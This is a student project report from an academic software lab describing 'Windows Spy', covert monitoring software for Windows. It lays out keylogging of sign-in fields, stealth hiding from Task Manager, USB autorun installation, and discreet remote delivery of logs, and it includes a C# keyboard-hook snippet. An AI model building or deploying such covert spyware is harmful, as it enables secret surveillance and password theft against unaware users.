windows spy project - technionsoftlab-pro-web.technion.ac.il/projects/2007winter... · web...

104
Windows Spy Project Department of Electrical Engineering, Technion 2008 Windows Spy Windows Spy Project Project Maksim Kogan Maksim Kogan [email protected] [email protected] Roey Ben Haim Roey Ben Haim [email protected] [email protected] Supervisor Supervisor Assaf Solomovitch Assaf Solomovitch [email protected] [email protected]

Upload: others

Post on 22-Jul-2020

6 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectDepartment of Electrical Engineering, Technion2008

Windows SpyWindows Spy ProjectProject

Maksim KoganMaksim [email protected]@t2.technion.ac.il

Roey Ben Haim Roey Ben Haim [email protected]@t2.technion.ac.il

SupervisorSupervisorAssaf Solomovitch Assaf Solomovitch [email protected]@gmail.com

Lab Chief Eng.Lab Chief Eng.Ilana DavidIlana David

Software Systems LabSoftware Systems Lab

Page 2: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Department of Electrical Engineering, Technion - Israel InstituteDepartment of Electrical Engineering, Technion - Israel Institute of Technologyof Technology

Table of Contents

Introduction – Windows Spy project.........................................................................5

Project goal...................................................................................................................6

Technology overview....................................................................................................7

The .NET Platform......................................................................................................8

.NET Framework.........................................................................................................8

Compilation and the MSIL........................................................................................10

The C# Language......................................................................................................10

Requirements Document...........................................................................................12

Windows Hooks..........................................................................................................17

Windows Messages...................................................................................................17

Windows Hooks........................................................................................................17

How to set a windows hook......................................................................................18

Hooks in .Net, the win32API class, and how we used it..........................................20

Example of setting a hook in C#...............................................................................21

project overview - running modes and general software options

Client Application running Mode.............................................................................23

Settings......................................................................................................................23

Stealth Mode..........................................................................................................23

Starting and Stopping Time...................................................................................24

Key Logger................................................................................................................25

Options...................................................................................................................25

Log File..................................................................................................................25

Mouse Logger...........................................................................................................27

Options...................................................................................................................27

Log File..................................................................................................................28

URL Logger..............................................................................................................29

Options...................................................................................................................29

Log File..................................................................................................................30

2

Page 3: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Image Recorder.........................................................................................................30

Options...................................................................................................................31

Screenshots.............................................................................................................31

Remoting...................................................................................................................31

Options...................................................................................................................32

Client & Server Application running Mode............................................................33

Client.........................................................................................................................33

Server........................................................................................................................34

Enable and Disable.................................................................................................34

Sending the Files....................................................................................................34

Ending the Monitoring...........................................................................................35

Sending Email........................................................................................................35

Status......................................................................................................................35

USB Spying Mode......................................................................................................36

Autorun.inf................................................................................................................36

Appinstall.exe............................................................................................................37

Init.txt........................................................................................................................38

code snippets and implementaion of the software

Client Implementation techniques & Code..............................................................39

Key Logger................................................................................................................39

Initializing Keyboard Hook....................................................................................39

The Key Logger.....................................................................................................41

Disabling the Key Logger......................................................................................42

Mouse Logger...........................................................................................................43

Initializing Mouse Hook........................................................................................43

The Mouse Logger.................................................................................................43

Disabling the Mouse Logger..................................................................................44

URL Hook.................................................................................................................45

Image Recorder.........................................................................................................48

Create a Screenshot................................................................................................48

Time Intervals........................................................................................................48

Dangerous Keystrokes...........................................................................................49

Timer.........................................................................................................................50

Email.........................................................................................................................52

3

Page 4: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Stealth Mode & password.........................................................................................53

Server Communication implementation..................................................................55

The Client Side..........................................................................................................55

The Server Side.........................................................................................................56

File transferring.........................................................................................................57

Picture transferring....................................................................................................62

Get Status..................................................................................................................65

Enable/disable...........................................................................................................67

Design..........................................................................................................................69

Client Class Diagram................................................................................................69

Client Class Diagram Overview.............................................................................70

Server Class Diagram................................................................................................71

Server Class Diagram Overview............................................................................71

File Transfer Sequence Diagram...............................................................................72

File Transfer Sequence Diagram Overview...........................................................73

Image Transfer Sequence Diagram...........................................................................74

Image Transfer Sequence Diagram Overview.......................................................75

Single Command Sequence Diagram........................................................................75

Single Command Sequence Diagram Overview....................................................75

4

Page 5: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Introduction – Windows Spy projectSpy Software (also called “Computer Monitoring Software”) is undetectable software the runs on a computer, and secretly records a computer user by capturing all keystrokes, websites visited, documents read, chat conversations, etc.Some of the more real life popular uses of such application are child Internet-monitoring, and employee monitoring, or simply making sure no one uses your computer improperly when yore gone.

The internet is full of ads for different types of tracking software to download for monitoring your family, friends, anyone who uses your computer after you’re gone, etc.With the Internet exposing the surfers to any type of information, including those inappropriate to minors or even illegal and abusive to all, the need for such programs increases and becomes a must-have software to any house hold today.

The level of monitoring done can vary from just logging all the key strokes of the user, to making screenshots of the computer’s desktop on predefined typed words.Spying software can also be in the form of web based service. In this type of spying service, the owner is not required to physically access the monitored computer to view the recordings. Everything is saved and maintained on a web server.Our project consists of building full applicable spying software with all common features (and more) included, such as:Recording key strokes, mouse movements and clicks, websites visited, programs visited and files changed and viewed, dates and times of different actions, making snapshots of the computer screen at pre-defined events. Any combination of the above is possible to define for a specific software run. Furthermore, we implemented a web server which can completely control the application that runs on a remote computer. We have such options as enable or disable our running application or close it completely; we can check if the user is currently working on the machine or not, send the log files created to our Email, or even instantly send the logs we choose to our computer.Furthermore, a technique for fast install of the software on any computer, also making it load on start-up was developed. In this scenario, you can install the application with a single click, making sure it starts running even after computer reboot.

Another important feature of spying that was implemented in our application is the hidden and undetected running mode of the software. We took special care for enabling a stealth running mode, disguise the process itself, and make sure that file transferring to the server and the log files creation doesn’t interfere or felt by the user working on the computer.All of the project components described above create a complete real life usable spying software, that can be used on any windows version with .net framework installed, to create a complete picture of activities done on any PC.

5

Page 6: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Project goal This is first and foremost an academic project, intended to introduce us, the students, to the .NET framework as a whole, while also exposing us to the C# programming language.

Why Spying Software?

This type of software includes many interesting as well as complex aspects of programming. Because the spying involves many different types of information to be recorded, almost each type presented us with a new challenge and a new technique to solve it. For example we had to use thread programming involving locks to do the URL Logger, and the client/server listening functions, as well as socket programming to implement their communication.

We had to learn quite a few new technologies and subjects, which are all incorporated in this work some way or the other.Among the things we have learnt:

.net platform and C# Windows Forms and controls Low level win32 API programming Windows messages Windows hooks technology Event driven programming Socket programming Thread Programming

6

Page 7: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Technology overview Every 10 years or so, a new approach to programming hits like a tsunami. In the early 1980s, the new technologies were Unix, which could be run on a desktop, and a powerful new language called C, developed by AT&T. The early 90s brought Windows and C++. Each of these developments represented a sea change in the way we approached programming. Now, .NET and C# are the next wave.

Microsoft has "bet the company" on .NET. When a company of their size and influence spends billions of dollars and reorganizes its entire corporate structure to support a new platform, programmers take notice. It turns out that .NET represents a major change in the way you'll think about programming. It is, in short, a new development platform designed to facilitate object-oriented Internet development. The programming language of choice for this platform is C#, which builds on the lessons learned from C (high performance), C++ (object-oriented structure), Java (garbage collection, high security), and Visual Basic (rapid development) to create a new language ideally suited for developing component-based, n-tier distributed web applications.

The goal of C# is to provide a simple, safe, modern, object-oriented, Internet-centric, high-performance language for .NET development. C# is a new language, but it draws on the lessons learned over the past three decades. In much the way that you can see in young children the features and personalities of their parents and grandparents, you can easily see in C# the influence of Java, C++, Visual Basic (VB), and other languages.

7

Page 8: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

The .NET Platform When Microsoft announced C# in July 2000, its unveiling was part of a much larger event: the announcement of the .NET platform. The .NET platform is, in essence, a new development framework that provides a fresh application programming interface (API) to the services and APIs of classic Windows operating systems (especially the Windows 2000 family), while bringing together a number of disparate technologies that emerged from Microsoft during the late 1990s. This includes COM+ component services, the ASP web development framework, a commitment to XML and object-oriented design, support for new web services protocols such as SOAP, WSDL, and UDDI, and a focus on the Internet, all integrated within the DNA architecture.

Microsoft says it is devoting 80% of its research and development budget to .NET and its associated technologies. The results of this commitment to date are impressive. For one thing, the scope of .NET is huge. The platform consists of four separate product groups:

A set of languages, including C# and Visual Basic .NET, a set of development tools including Visual Studio .NET, a comprehensive class library for building web services and web and Windows applications, as well as the Common Language Runtime (CLR) to execute objects built within this framework.

A set of .NET Enterprise Servers, formerly known as SQL Server 2000, Exchange 2000, BizTalk 2000, and so on, that provide specialized functionality for relational data storage, email, B2B commerce, etc.

An offering of commercial web services, called .NET My Services. For a fee, developers can use these services in building applications that require knowledge of user identity, etc.

New .NET-enabled non-PC devices, from cell phones to game boxes.

.NET Framework Microsoft .NET supports not only language independence, but also language integration. This means that you can inherit from classes, catch exceptions, and take advantage of polymorphism across different languages. The .NET Framework makes this possible with a specification called the Common Type System (CTS) that all .NET components must obey. For example, everything in .NET is an object of a specific class that derives from the root class called System.Object. The CTS supports the general concept of classes, interfaces, delegates (which support callbacks), reference types, and value types.

Additionally, .NET includes a Common Language Specification (CLS), which provides a series of basic rules that are required for language integration. The CLS determines the minimum requirements for being a .NET language. Compilers that conform to the CLS create objects that can interoperate with one another. The entire Framework Class Library (FCL) can be used by any language that conforms to the CLS.

8

Page 9: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

The .NET Framework sits on top of the operating system, which can be any flavor of Windows, and consists of a number of components, currently including:

Four official languages: C#, VB.NET, Managed C++, and JScript.NET The CLR, an object-oriented platform for Windows and web development that

all these languages share

A number of related class libraries, collectively known as the FCL

The most important component of the .NET Framework is the CLR, which provides the environment in which programs are executed. The CLR includes a virtual machine, analogous in many ways to the Java virtual machine. At a high level, the CLR activates objects, performs security checks on them, lays them out in memory, executes them, and garbage-collects them. (The Common Type System is also part of the CLR.)

The layer on top of the CLR is a set of framework base classes, followed by an additional layer of data and XML classes, plus another layer of classes intended for web services, Web Forms, and Windows Forms. Collectively, these classes make up the FCL, one of the largest class libraries in history and one that provides an object-oriented API for all the functionality that the .NET platform encapsulates. With more than 4,000 classes, the FCL facilitates rapid development of desktop, client/server, and other web services and applications.

The set of Framework base classes, the lowest level of the FCL, is similar to the set of classes in Java. These classes support rudimentary input and output, string manipulation, security management, network communication, thread management, text manipulation, reflection and collections functionality, etc.

Above this level is a tier of classes that extend the base classes to support data management and XML manipulation. The data classes support persistent management of data that is maintained on backend databases. These classes include the Structured Query Language (SQL) classes to let you manipulate persistent data stores through a standard SQL interface. Additionally, a set of classes called ADO.NET allows you to manipulate persistent data. The .NET Framework also supports a number of classes to let you manipulate XML data and perform XML searching and translations.

Extending the Framework base classes and the data and XML classes is a tier of classes geared toward building applications using three different technologies: Web Services, Web Forms, and Windows Forms. Web services include a number of classes that support the development of lightweight distributed components, which will work even in the face of firewalls and NAT software. Because web services employ standard HTTP and SOAP as underlying communications protocols, these components support Plug and Play across cyberspace.

Web Forms and Windows Forms allow you to apply Rapid Application Development techniques to building web and Windows applications. Simply drag and drop controls onto your form, double-click a control, and write the code to respond to the associated event.

9

Page 10: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Compilation and the MSILIn .NET, programs are not compiled into executable files, they are compiled into Microsoft Intermediate Language (MSIL) files, which the CLR then executes. The MSIL (often shortened to IL) files C# produces are identical to the IL files that other .NET languages produce; the platform is language-agnostic. A key fact about the CLR is that it is common: the same runtime supports development in C# as well as in VB.NET.

C# code is compiled into IL when you build your project. The IL is saved in a file on disk. When you run your program, the IL is compiled again, using the Just In Time (JIT) compiler (a process often called JITing). The result is machine code, executed by the machine's processor.

The standard JIT compiler runs on demand. When a method is called, the JIT compiler analyzes the IL and produces highly efficient machine code, which runs very fast. The JIT compiler is smart enough to recognize when the code has already been compiled, so as the application runs, compilation happens only as needed. As .NET applications run, they tend to become faster and faster, as the already compiled code is reused.

The CLS means that all .NET languages produce very similar IL code. As a result, objects created in one language can be accessed and derived from another. Thus it is possible to create a base class in VB.NET and derive from it in C#.

The C# Language The C# language is disarmingly simple, with only about 80 keywords and a dozen built-in datatypes, but C# is highly expressive when it comes to implementing modern programming concepts. C# includes all the support for structured, component-based, object-oriented programming that one expects of a modern language built on the shoulders of C++ and Java.

The C# language was developed by a small team led by two distinguished Microsoft engineers, Anders Hejlsberg and Scott Wiltamuth. Hejlsberg is also known for creating Turbo Pascal, a popular language for PC programming, and for leading the team that designed Borland Delphi, one of the first successful integrated development environments for client/server programming.

At the heart of any object-oriented language is its support for defining and working with classes. Classes define new types, allowing you to extend the language to better model the problem you are trying to solve. C# contains keywords for declaring new classes and their methods and properties, and for implementing encapsulation, inheritance, and polymorphism, the three pillars of object-oriented programming.

In C#, everything pertaining to a class declaration is found in the declaration itself. C# class definitions do not require separate header files or Interface Definition Language (IDL) files. Moreover, C# supports a new XML style of inline documentation that simplifies the creation of online and print reference documentation for an application.

10

Page 11: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

C# also supports interfaces, a means of making a contract with a class for services that the interface stipulates. In C#, a class can inherit from only a single parent, but a class can implement multiple interfaces. When it implements an interface, a C# class in effect promises to provide the functionality the interface specifies.

C# also provides support for structs, a concept whose meaning has changed significantly from C++. In C#, a struct is a restricted, lightweight type that, when instantiated, makes fewer demands on the operating system and on memory than a conventional class does. A struct can't inherit from a class or be inherited from, but a struct can implement an interface.

C# provides component-oriented features, such as properties, events, and declarative constructs (called attributes). Component-oriented programming is supported by the CLR's support for storing metadata with the code for the class. The metadata describes the class, including its methods and properties, as well as its security needs and other attributes, such as whether it can be serialized; the code contains the logic necessary to carry out its functions. A compiled class is thus a self-contained unit. Therefore, a hosting environment that knows how to read a class' metadata and code needs no other information to make use of it. Using C# and the CLR, it is possible to add custom metadata to a class by creating custom attributes. Likewise, it is possible to read class metadata using CLR types that support reflection.

An assembly is a collection of files that appear to the programmer to be a single dynamic link library (DLL) or executable (EXE). In .NET, an assembly is the basic unit of reuse, versioning, security, and deployment. The CLR provides a number of classes for manipulating assemblies.

A final note about C# is that it also provides support for directly accessing memory using C++ style pointers and keywords for bracketing such operations as unsafe, and for warning the CLR garbage collector not to collect objects referenced by pointers until they are released.

11

Page 12: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Requirements Document Abstract

Spy Software (also called “Computer Monitoring Software”) is a piece of undetectable software that runs on a computer, and secretly records computer usage by capturing all I/O activity, including keystrokes, websites visited, documents read, chat conversations, etc.Common use of such applications includes child Internet-monitoring, and employee monitoring.The level of monitoring done can vary from just logging all the key strokes of the user, to getting screenshots of the computer’s desktop, and all the way to making a full video recording of the user’s actions. It creates detailed reports for the software installer, which are hidden from the person being monitored.Spy software can also be in the form of web based service. In this type of service, the owner is not required to physically access the monitored computer to view the recordings. Everything logged on a remote server.

Our application intends to implement the principles above, allowing the owner to configure and choose the monitoring options available for tracking usage on the computer.

1. System objectives

1.1. Windows-Spy (henceforth called the system) is a “hidden” (the user is unaware of its existence) software application that tracks different types of information (according to the owner’s request) and saves it at a predefined location, known only to the owner.

1.2. The install and activate actions are made by the owner on the computer itself, but the information recorded is sent to a remote server (in addition to being saved on the monitored computer). The owner may now view the information by downloading it from the server (as well as from the monitored computer itself as described in 1.1).

1.2.1. The activation may also be adjusted to be done remotely.1.2.2. Auto-install from the web will be possible.

2. System Context

Upon installation and launch, the system will provide a GUI for the owner and ask it to choose the options for the current monitoring session –

2.1. Stealth mode or visible mode of work (from the user’s side). – 2.1.1. While in stealth mode, the system is completely hidden (no start menu,

no taskbar icon, if possible – not even at the Add/Remove Programs menu and the task manager).When it’s time to change settings/turn off, the owner should open thehidden interface by pressing a secret key combination (that he set beforehand), which will bring up a password box, after typing the password, he will be able to make changes.

2.1.2. While in Visible mode, tray icon will appear, but the system is still

12

Page 13: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

password protected (though no secret combination is required)

2.2. Types of monitoring –2.2.1. Keystroke Monitoring –

2.2.1.1. Key Logger - Track all keystrokes pressed (regardless in which window they were pressed in)

2.2.1.2. Log all keystrokes made in internet browser along with the URL.

2.2.1.3. Log all keystrokes and which processes they were pressed in.This includes the application name (e.g. “Notepad”, “Microsoft Word”, “Microsoft internet explorer”) and the box in the application (if there is such) itself – e.g. “Microsoft explorer – Sign in”, here the keystrokes were in the “Sign in” box (password) in the explorer application.

If the application is a browser, the URL will be logged as well.

If the application is an editor of some sort, the file-name that was edited will be logged.

2.2.1.3.1. Choose the applications for monitoring keystrokes.The owner will be able to choose from a list of applications which applications to monitor keystrokes.(2.2.1.3 is the option – “all applications”).

2.2.2. Site monitoring: Record all website URLs that were accessed. 2.2.3. Documents Opened - Record documents and files accessed

(such as Microsoft Office documents, pictures, etc). 2.2.4. Record which processes ran.2.2.5. Screen snapshots taken automatically at regular intervals.

2.2.5.1. Saving only screenshots of a web browser (with the URL) only will be an option.

2.2.5.2. Optional – configure making screen shots only when certain words are typed (for example: if the word “facebook” is typed, the boss of the employee would like some shots of the screen as a suspicion that the employee is surfing the facebook site during work).

2.2.6. Video recording of the desktop (screen-capture using an open source software).

2.2.7. Real-Time remote monitoring.

2.3. Define where the log files will be placed2.3.1. Predefined (default) folder2.3.2. Define a customized folder.2.3.3. Delivery via FTP to a remote server / Log delivery via email.

In case of selecting one of these options, the logs delivery is done only when computer is not in use (a pre-defined amount of time has passed without any mouse/keyboard use indicating the user left the computer).

13

Page 14: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

This will be a good time to use the internet service for sending the files, this way not loading the network and slowing possible user activity (making the process un-noticed for the user)

2.4. Time scheduling - The spy program can be configured to start and stop recording at the times specified by owner.

2.4.1. start time may be immediate and finish time is when the computer is “not

in use” (as explained in 2.3.3) and begin again when usage is renewed, and so on.

2.5. The system will provide usage statistics (date, time, etc) within all tracking options (which time each web page was visited, etc...).

2.6. A single instance application - If the owner starts a second copy of Windows-Spy, the first copy is brought to the foreground instead of starting a second copy.

2.7. On top application – when the system is launched (with the secret combination explained later) it appears in front of other applications on the screen.

3. Functional Requirements

Upon launch of the application, we get the settings interface window.The setting interface appears only in the following scenarios –

After launching the application. When running in stealth mode, and the secret key combination is pressed,

afterwards the correct password is entered.If the user is accidentally presses this combination he’ll get stuck with the password window (in front) until he closes it (or the password is entered).

When running in visible mode and the system’s tray icon is selected.

The settings interface includes the following boxes -

Password setup (Type/confirm password fields). Hot keys setup. Choose the mode to run in - Stealth/Visible mode. Choose the kind of monitoring type wanted (according to the different types

mentioned in the system context section).If screenshots monitoring selected, the owner will need to specify the frequency of the snapshots taken in any case.(If the option of making a screen shot only when special words are typed, the owner will have the ability to write the “alert” words he wants).

Clear current log files.The action (pressing the button) deletes all log files that are currently saved in the hidden logs folder.

Description of the log files (size and type log file).

14

Page 15: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Alongside the settings options, current log files statistics will be shown, in the same window.

Set monitoring schedule (work non-stop from time of activation, or a specific start and finish time can be given).

For Remote Monitoring - Description of the monitoring computer (email or IP address for a remote server) for the log files to be sent to. In these options, the owner will specify how frequently he wants the monitored data to be sent to him (note: the data will be saved in the hidden folder on the computer, as well)

The system shall provide defaults for all missing elements needed for current monitoring action (the default monitoring type, default password, default snapshots frequency) – these parameters will already defaulted, so the owner could run the application by just pressing “start”.

After the owner finishes configuring the settings, pressing “Start” will begin the monitoring in the specified mode.

Stopping the application – There are 2 scenarios in which the applications stops –

if in stealth mode, the program stops monitoring as soon as the owner enters the correct password combination (that appears after typing the secret keys combination). If in visible mode, selecting the tray icon and the “stop” button stops the application.As mentioned earlier, in both cases the setting window appears on screen (and on top).

If windows restarts or shuts down, in the next start-up the application is disabled.

Accessing the log-files – The folder of the log files will be saved on disk and will be hidden from the computer user (password protected/invisible…). Further more, access to the folder during system activity (monitoring in progress) will be forbidden (not to cause a conflict with the system). After the monitoring stops access is available (via direct access or the “clear-logs” button in the interface). The log-statistics will be updated the next time the interface window re-appears (i.e. erasing some logs, won’t change the “statistics” window mentioned). - Only one logs-folder will be at any time on the computer (so that if we start a new session, the option of defining a - new logs folder (2.3) will ask for deleting the old one if there is such.

4. Non-Functional Requirements

Maintenance: the folder holding the Log-files should be rather small (the owner should maintain it) so that it won't over-size the disk/partition substantially.

Portability: any windows SP2 OS or newer.

15

Page 16: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Performance:  The system activity will not degrade performance of the applications running on the machine.

5. Environment Requirements

The requirements needed to run the application are -

5.1. All windows XP SP2 versions and newer (the only demand is that the win API functions we use will be available in the specific windows version that the software is installed on)

5.2. .NET framework version 1.0 or better.

6. Future Requirements

In the future, the monitoring will be processed in a remote computer which will get all the information stated. Moreover, we would like to save snapshots of the screen and perhaps a file providing s short monitoring movie. * These are more advanced features hence put in the “future requirements” (although specified in the document above).

Also, if the remote log viewing will be implemented, further requirements will be added, regarding what happens if the mail address is incorrect, or the system is unable to connect to the internet or the remote server, etc…

16

Page 17: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Windows HooksThe Windows Hooks mechanism is a crucial subject in our application and was a starting point for the 3 main loggers of the application (Keys, Mouse, URL). In this chapter we will see what windows hooks are, why they are so important, how they work, and how to use them. First we’ll explain about windows messages:

Windows MessagesUnlike MS-DOS-based applications, Windows-based applications are event-driven. They do not make explicit function calls (such as C run-time library calls) to obtain input. Instead, they wait for the system to pass input to them.The system passes all input for an application to the various windows in the application. Each window has a function, called a window procedure, that the system calls whenever it has input for the window. The window procedure processes the input and returns control to the system

The system passes input to a window procedure in the form of messages. Messages are generated by both the system and applications. The system generates a message at each input event, for example - When an application is hidden by another window and then brought to the front, for example, Windows sends that application a WM_PAINT message. The WM_PAINT message instructs the application to redraw its main window. Likewise, Windows sends the application a WM_MOUSEMOVE message every time the mouse moves over the application.An application can generate messages to direct its own windows to perform tasks or to communicate with windows in other applications. The system sends a message to a window procedure with a set of four parameters: a window handle, a message identifier, and two values called message parameters. The window handle identifies the window for which the message is intended. The system uses it to determine which window procedure should receive the message. To manage all of these messages, Windows maintains message queues. A message queue is a FIFO (first in, first out) list of messages. Messages are placed in the queue and processed in order they were received. Windows will process the messages in the queue when it has time. Windows maintains a global system message queue and separate message queues for each GUI thread.

Windows HooksA hook is a point in the system message-handling mechanism where an application can install a subroutine to monitor the message traffic in the system and process certain types of messages before they reach the target window procedure.Windows hooks can be considered one of the most powerful features of Windows. With them, you can trap events that will occur, either in your own process or in other processes. By "hooking", you tell Windows about a function (filter function, also called hook procedure), that will be called every time an event you're interested in occurs.

17

Page 18: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

The system supports many different types of hooks; each type provides access to a different aspect of its message-handling mechanism. For example, an application can use the WH_MOUSE Hook to monitor the message traffic for mouse messages.

The system maintains a separate hook chain for each type of hook. A hook chain is a list of pointers to special, application-defined callback functions called hook procedures. When a message occurs that is associated with a particular type of hook, the system passes the message to each hook procedure referenced in the hook chain, one after the other. A fundamental aspect of hooks is their scope. Normally, hooks may have either system or thread scope. A few, however, can only have system scope. When a hook works at the thread level, it can only trap events generated within that thread. For example, a keyboard hook gets invoked only for the keystrokes directed to the thread's input queue. Similarly, a system wide mouse hook gets called whenever the user moves the mouse, regardless of the particular thread that handles the event. A system-scoped hook is called to handle the event for all the currently running threads.

How to set a windows hookThe SetWindowsHookEx function installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events. These events are associated either with a specific thread or with all threads in the same desktop as the calling thread.

HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId);

idHook

Specifies the type of hook procedure to be installed. For example WH_KEYBOARD_LL Installs a hook procedure that monitors low-level keyboard input events.

lpfn

Pointer to the hook procedure.

hMod

Handle to the hook installed.

dwThreadId

Specifies the identifier of the thread with which the hook procedure is to be

associated. If this parameter is zero, the hook procedure is associated with all

existing threads running in the same desktop as the calling thread.

The UnhookWindowsHookEx function removes a hook procedure installed in a hook chain by the SetWindowsHookEx function.

18

Page 19: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

BOOL UnhookWindowsHookEx(HHOOK hhk);

hhk

The handle to the hook to be removed. This parameter is a hook handle that is returned by the call to SetWindowsHookEx that installed the hook.

At the end of the handle function of the hook, you must call the CallNextHookEx Function.The CallNextHookEx function passes the hook information to the next hook procedure in the current hook chain (is there is none, then the message returns to the system handling). A hook procedure can call this function either before or after processing the hook information. If you don’t call this function, you block the message from going on to the system! (for example, this way you can prevent keystrokes from having any effect)

LRESULT CallNextHookEx( HHOOK hhk,int nCode,WPARAM wParam,LPARAM lParam);

hhk

Handle to the current hook

nCode

[Specifies the hook code passed to the current hook procedure. The next hook

procedure uses this code to determine how to process the hook information.

wParam

[Specifies the wParam value passed to the current hook procedure. The

meaning of this parameter depends on the type of hook associated with the

current hook chain.

lParam

Specifies the lParam value passed to the current hook procedure. The meaning

of this parameter depends on the type of hook associated with the current hook

chain.

These 3 functions are the main function of setting a hook by your application.An example of how it is done in C#, as well as example of the handle function and how exactly to use these 3 functions can be seen next.

19

Page 20: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Hooks in .Net, the win32API class, and how we used itThe .NET Framework provides no built-in facilities or infrastructure to handle hooks.But, Setting up hooks in .NET-centric apps is as easy as calling the underlying API functions—that is, SetWindowsHookEx to install a hook and UnhookWindowsHookEx to uninstall. To issue calls to Win32 API functions from within .NET applications, you must first import the desired API declarations into some sort of managed class.

Win32 API - The Microsoft Windows application programming interface (API) provides services used by all Windows-based applications. You can provide your application with a graphical user interface; access system resources such as memory and devices; display graphics and formatted text; incorporate audio, video, networking, or security. The Windows API can be used in all Windows-based applications. The same functions are generally supported on 32-bit and 64-bit Windows.

To use win32API functions we create a class – Win32API with all the necessary declaration, so we could use these functions in our .net application.you can see there the C# code to import all the Win32 definitions needed to handle hooks. Functions are imported as static, externally defined members of a new .NET class. Any .NET class can access the Win32API class and invoke members. When this happens, the P/Invoke infrastructure guarantees that the call is marshaled back and forth to the system API across the CLR.For example:

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]public static extern IntPtr SetWindowsHookEx(int idHook,RootHook.PtrCALLBACK lpfn, IntPtr hMod, uint dwThreadId);

(the RootHook.PtrCALLBACK is the handle function pointer)

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]public static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,IntPtr wParam, IntPtr lParam);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)][return: MarshalAs(UnmanagedType.Bool)]public static extern bool UnhookWindowsHookEx(IntPtr hhk);

and now we can use these functions as regular static methods of the Win32API class.

20

Page 21: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Example of setting a hook in C#After importing the necessary functions -

Setting the hook:

using (Process curProcess = Process.GetCurrentProcess())using (ProcessModule curModule = curProcess.MainModule){

hookID = win32API.SetWindowsHookEx(WH_KEYBOARD_LL, CALLBACK, win32API.GetModuleHandle(curModule.ModuleName), 0);

}

